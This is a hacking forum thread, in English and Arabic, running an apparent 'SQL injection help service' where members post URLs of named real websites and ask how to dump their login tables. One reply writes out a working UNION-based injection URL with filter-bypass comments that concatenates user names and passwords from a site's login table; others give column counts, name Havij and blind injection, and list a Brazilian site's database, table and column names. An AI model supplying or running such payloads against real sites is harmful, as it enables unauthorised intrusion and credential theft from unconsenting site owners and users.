SQLi Help [service] OPEN

[CODE3]

Hello everyone!
This is free help service for beginners in SQLi.I know everyone face some problems in beginning so i made this thread to help them.​

Rules:
Only Post your syntax where you stuck.
Wait for solution.
Dont ask me for cracking Hash.
Please make sure that URl must be vulnerable.​

 

[المفترس]

رد: SQLi Help [service] OPEN

lets begin with that
and show me what can you do
ok

http://www.winema.co.nz/index.php?PageID=84

good luck

 

[xavi13]

رد: SQLi Help [service] OPEN

يا جماعة المنتدى عربي أم انجليزي :frown:

 

[devyounss]

رد: SQLi Help [service] OPEN

THE SYNTAX WHERE I STUCK
​

http://www.visionxip.com/ficha.php?...a./**/columns where table_name=0x6c6f67696e--

I BYPASSIT THE 403 FORBIDDEN
BUT I CAN't GET THE USER AND PASSWORD

FORBIDDEN PROBLEME
THX IN ADVANCE
​

 

[المفترس]

رد: SQLi Help [service] OPEN

THE SYNTAX WHERE I STUCK
​

http://www.visionxip.com/ficha.php?id=-297%20UNION%20all%20/*!SELECT*/%201,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20information_schema./**/columns%20where%20table_name=0x6c6f67696e--

I BYPASSIT THE 403 FORBIDDEN
BUT I CAN't GET THE USER AND PASSWORD

FORBIDDEN PROBLEME
THX IN ADVANCE
​

بعد ادن صاحب الموضوع

http://www.visionxip.com/ficha.php?id=-297 UNION all /*!SELECT*/ 1,2,/*!concat*/(usuario,0x3a,pass)
,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from login--

 

[devyounss]

رد: SQLi Help [service] OPEN

جزاك الله خيرا يا ***1649;خى على المساعدة
هل لديك موقع يشرح كيفية تخطى الفلترة لأنه دائما يعيقني هدا المشكل

 

[CODE3]

رد: SQLi Help [service] OPEN

lets begin with that
and show me what can you do
ok

http://www.winema.co.nz/index.php?PageID=84

good luck

it's 55 columns brother

http://www.winema.co.nz/index.php?PageID...+by+55--+-

 

[المفترس]

رد: SQLi Help [service] OPEN

it's 55 columns brother

I know that
any way thanks

 

[أسدالله الدمشقي]

رد: SQLi Help [service] OPEN

thx pro i dont have idea now ^_^

 

[aircrack -ng]

رد: SQLi Help [service] OPEN

it's 55 columns brother

non non non Blind sql Injection

 

[xavi13]

رد: SQLi Help [service] OPEN

http://sportmarket.co.il/index.php?type=i&id=152

اسرائيلي مصاب

 

[CODE3]

رد: SQLi Help [service] OPEN

http://sportmarket.co.il/index.php?type=i&id=152

اسرائيلي مصاب

the site doesn't work

 

[SuperNoia]

رد: SQLi Help [service] OPEN

DATABASE : "mundodofut1"
Table: "usuarios"
Coluns: "login" and "senha"

site - mundodofutebol "website brazil"
locate = "/categoria/chuteiras//umbro/?origem=google#conteudo"

I used some tools and did not get success, then I take the test in Havij thus he discovered the name of the database tables and columns by guesswork, but when trying to extract the data, it can not guess some characters.

help please !

thx all

best regards !

Brazilian's hACKING

 

[aircrack -ng]

رد: SQLi Help [service] OPEN

DATABASE : "mundodofut1"
Table: "usuarios"
Coluns: "login" and "senha"

site - mundodofutebol "website brazil"
locate = "/categoria/chuteiras//umbro/?origem=google#conteudo"

I used some tools and did not get success, then I take the test in Havij thus he discovered the name of the database tables and columns by guesswork, but when trying to extract the data, it can not guess some characters.

help please !

thx all

best regards !

Brazilian's hACKING

Advanced SQL Injection Course


http://www.vbspiders.com/vb/t58687.html

 

[aircrack -ng]

رد: SQLi Help [service] OPEN

يثبت وهنا تكون حل مشاكل الحاقنين والي يعرف يحل مشكلة اي عضو يتفضل

 

[SuperNoia]

رد: SQLi Help [service] OPEN

aircrack -ng also advanced method of SQLI I could not succeed, thanks for the help! anyone have any suggestions ? thx !

 

[CODE3]

رد: SQLi Help [service] OPEN

DATABASE : "mundodofut1"
Table: "usuarios"
Coluns: "login" and "senha"

site - mundodofutebol "website brazil"
locate = "/categoria/chuteiras//umbro/?origem=google#conteudo"

I used some tools and did not get success, then I take the test in Havij thus he discovered the name of the database tables and columns by guesswork, but when trying to extract the data, it can not guess some characters.

help please !

thx all

best regards !

Brazilian's hACKING

It means that your PC cannot display spanish language is proper way , for example letter like ***193; ***191; é ***237; ***243; ü ***241; ***250; and that is why you get ??? . You should try this :

http://faculty.weber.edu/tmathews/grammar/Compmark.html

 

[أمير غزة]

رد: SQLi Help [service] OPEN

اغلب الحقن بيكون بالمواقع الي بتدعم هيك
طيب كيف ممكن احقن مواقع ما فيها صفحات
؟

 

[rajinet]

رد: SQLi Help [service] OPEN

جزاك الله خيرا

 

[mobo12dz]

رد: SQLi Help [service] OPEN

يا حبيبي ما نوع هذا التشفييييير
›جٍ}³Xdض§ˆ2D=چe¢<W¯EZَ«]شiŒ)ژiحغ4» /j±eNâqVظ¬)·،6‹[حؤ`ي5¾†±´،›‡lçژµ®¦¸«k#®”TUگلض¤خضبü}éھFiخ>cُ¬
:½پ¤©\àî5د†َ¶ة=F+،سFف3‏ء5„9c[ذZ³’¾‰¯ّlUNُkPے